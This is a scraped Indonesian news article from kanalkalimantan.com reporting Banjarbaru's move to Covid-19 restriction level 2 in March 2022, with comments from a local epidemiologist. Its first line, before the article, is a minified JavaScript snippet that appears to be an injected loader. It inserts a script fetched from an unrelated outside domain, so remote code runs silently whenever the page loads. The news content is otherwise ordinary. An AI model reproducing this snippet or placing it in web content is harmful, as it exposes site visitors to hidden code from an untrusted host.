(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di Kota Banjarbaru akhirnya turun level. Sebelumnya ibu kota Kalsel ini terdiam beberapa minggu di PPKM level 3, kini sudah menerapkan PPKM level 2.
Penerapan PPKM Level 2 ini menyusul dari Inmendagri No 19 Tahun 2022 yang menyatakan Kota Banjarbaru menerapkan PPKM Level 2 dari 29 Maret 2022 hingga 11 April 2022 mendatang.
Epidemiolog yang juga Koordinator Tim Surveilans Epidemiologi Penanggulangan Wabah Corona Virus Disease Dinas Kesehatan Kota Banjarbaru, Edi Sampana membenarkan bahwa Banjarbaru sudah masuk PPKM level 2.
“Banjarbaru sekarang masuk PPKM level 2, berdasarkan Inmendagri No 19 Tahun 2022 yang dikeluarkan pada 28 Maret 2022 serta berlaku dari tanggal 29 Maret 2022 sampai 11 April 2022,” ujarnya kepada Kanalkalimantan.com, Selasa (29/3/2022).
Baca juga : Lima Mobil Tabrakan Beruntun di Samarinda, Begini Kronologisnya
Dijelaskan Edi, Kota Banjarbaru dilihat dari grafik perkembangan kasus baru positif Covid-19 sudah mengalami penurunan yang sangat signifikan, hal juga disebutkan Edi menjadi faktor penentu hasil asesmen dari Kemenkes RI.
Dirinya pun juga menjelaskan ketika penambahan kasus baru setidaknya hanya 20 kasus baru per pekannya agar Kota Banjarbaru tidak mengalami kenaikan level PPKM.
“Yang meninggal 1 orang per pekan,” ujarnya
“Lebih bagus lagi tidak ada yang meninggal dunia akibat Covid-19,” sambungnya.
Melihat dari hasil asesment Kemenkes dikatakan Edi hasilnya akan terus mengalami perubahan setiap harinya melihat indikator setiap kabupaten/kota.
Baca juga : SKPD HSU Dilatih Manajemen Pengelolaan Keuangan Daerah
“Hasil asesment ini sangat dinamis karena setiap harinya bisa berubah, entah ke lebih baik atau lebih buruk,” katanya.
Selain itu juga dari asesment tersebut harus diperhatikan kepada 3 indikator transmisi komunitas harus tingkat satu dan 3 indikator kapasitas respons harus memadai.
Masih kata Edi, dalam mencapai PPKM level 1 di Kota Banjarbaru setidaknya ada beberapa cara yang bisa dilakukan di antaranya pemberian vaksinasi 3 dosis dan penerapan protokol kesehatan.
Penerapan prokes bisa dilakukan dengan menghindari kerumunan di dalam ruangan yang ventilasinya kurang, orang yang bergejala klinis di rumah saja, sering cuci tangan dan memakai masker.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.